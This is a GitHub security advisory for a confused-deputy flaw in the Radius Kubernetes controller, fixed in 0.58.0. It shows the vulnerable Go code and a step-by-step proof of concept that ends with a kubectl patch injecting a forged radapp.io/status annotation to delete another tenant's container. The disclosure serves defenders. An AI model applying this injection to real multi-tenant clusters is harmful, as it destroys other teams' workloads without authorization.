GitHub Advisoryadvisory · Go
GHSA-fp5j-4fj2-4jvq Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
HIGH
Official page ↗
- Aliases
- CVE-2026-53999
- Ecosystem
- Go
- Packages
- github.com/radius-project/radius
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
- Weaknesses
- CWE-20, CWE-441
- Reviewed
- 2026-06-12
Affected packages
• Go github.com/radius-project/radius: < 0.58.0 → fixed in 0.58.0
Description
Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
Summary
A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a `DELETE` for the container resource referenced by a tampered `radapp.io/status` annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.
• Vulnerability Type: Configuration Injection / Cross-Tenant Resource Deletion
• CVSS 3.1 Score: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
• CWE Classification: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
• Affected Versions: Radius v0.57.1 and earlier versions
Vulnerability Details
Root Cause
The Radius controller deserializes user-controllable JSON data from the `radapp.io/status` annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.
Vulnerable Code Locations
Vulnerability Source - `pkg/controller/reconciler/annotations.go:110-119`:
```go
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation
if err != nil {
return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
}
result.Status = &s
}
```
Vulnerability Sink - `pkg/controller/reconciler/deployment_reconciler.go:491`:
```go
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion
```
Attack Chain
```text
┌─────────────────────────────────────────────────────────────────────────────┐
│ Confused Deputy Attack │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Tenant-A (Attacker) Tenant-B (Victim) │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ legitimate-app │ │ victim-container │ │
│ │ (Deployment) │ │ (Radius Resource)│ │
│ └────────┬─────────┘ └────────▲─────────┘ │
│ │ │ │
│ │ 1. Inject malicious │ 4. DELETE request │
│ │ radapp.io/status │ (no auth check!) │
│ │ annotation │ │
│ ▼ │ │
│ ┌──────────────────┐ ┌───────┴──────────┐ │
│ │ Radius Controller│ ─────────────────▶│ Radius API │ │
│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │
│ └──────────────────┘ container ID └──────────────────┘ │
│ ▲ │
│ │ 2. Reads annotation │
│ │ without validation │
│ │ │
└───────────┴─────────────────────────────────────────────────────────────────┘
```
Proof of Concept (PoC)
Prerequisites
• Kubernetes cluster with Radius v0.54.0 installed
• Attacker has permission to modify Deployment annotations in a namespace
• Target tenant has Radius-managed container resources
Environment Setup
Step 1: Install Kind Cluster and Radius
```bash
Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
Verify installation
kubectl get pods -n radius-system
```
Expected output:
```text
NAME READY STATUS RESTARTS AGE
applications-rp-xxx 1/1 Running 0 2m
bicep-de-xxx 1/1 Running 0 2m
controller-xxx 1/1 Running 0 2m
ucp-xxx 1/1 Running 0 2m
```
Step 2: Create Attacker Tenant (tenant-a)
```bash
Create resource group
rad group create tenant-a
Create environment
rad env create tenant-a-env --group tenant-a
Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
```
Step 3: Deploy Legitimate Application in tenant-a
Create `legitimate-app.bicep`:
```bicep
extension radius
@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
name: 'legitimate-app'
properties: {
environment: environment()
}
}
@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
name: 'legitimate-container'
properties: {
application: app.id
container: {
image: 'nginx:latest'
}
}
}
```
Deploy the application:
```bash
rad deploy legitimate-app.bicep
```
Step 4: Create Victim Tenant (tenant-b)
```bash
Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
}
}'
Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
"container": {
"image": "nginx:latest"
}
}
}'
kill $PF_PID 2>/dev/null || true
```
Step 5: Verify Victim Resource Exists
```bash
kubectl get deployment -n tenant-b-victim-app victim-container
```
Expected output:
```text
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50s
```
Exploitation
Step 6: Inject Malicious Annotation
Create `attack-patch.yaml`:
```yaml
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
```
Execute the attack:
```bash
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml
```
Expected output:
```text
deployment.apps/legitimate-app patched
```
…
Related
Alias · CVE (1)
- CVE-2026-53999 Radius is a cloud-native, portable application platform that makes app development easier for teams building cloud-native apps. vulnerability